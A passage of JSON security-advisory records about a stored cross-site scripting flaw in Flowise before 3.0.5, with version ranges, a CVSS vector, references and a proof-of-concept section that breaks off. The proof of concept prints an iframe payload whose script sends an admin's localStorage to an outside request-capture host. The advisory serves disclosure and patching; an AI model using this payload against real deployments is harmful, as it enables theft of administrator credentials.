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This link is maintained to preserve external references.\n\n### Original Description\nFlowise before 3.0.5 allows XSS via an IFRAME element when an admin views the chat log.","state":2,"publishedAt":"2025-10-06T03:31:38+00:00","modifiedAt":"2025-10-08T19:34:58+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwc","https://nvd.nist.gov/vuln/detail/CVE-2025-50538","https://github.com/FlowiseAI/Flowise/pull/4905","https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5"],"sourceUrl":"https://github.com/advisories/GHSA-7rgr-72hp-9wp3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7rgr-72hp-9wp3","identifiers":["GHSA-7rgr-72hp-9wp3"]},"retained":false,"historicalAffected":[]},{"revision":"9c09d5557e984c81a606da4aa928639a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-964p-j4gg-mhwc","aliases":["CVE-2025-50538"],"title":"Flowise is vulnerable to stored XSS via \"View Messages\" allows credential theft in FlowiseAI admin panel","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the \"View Messages\" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.\n\n---\n\n### Details\nThe vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc=\"...\">` can include arbitrary JavaScript, which is executed when the message is rendered.\n\n---\n\n### PoC\n1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).\n2. Send the following payload via the agent's chat interface:\n   ```html\n   <iframe srcdoc=\"<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>\">\n   ```\n3. As an admin, go to the workflow and click **\"View Messages\"**.\n4. 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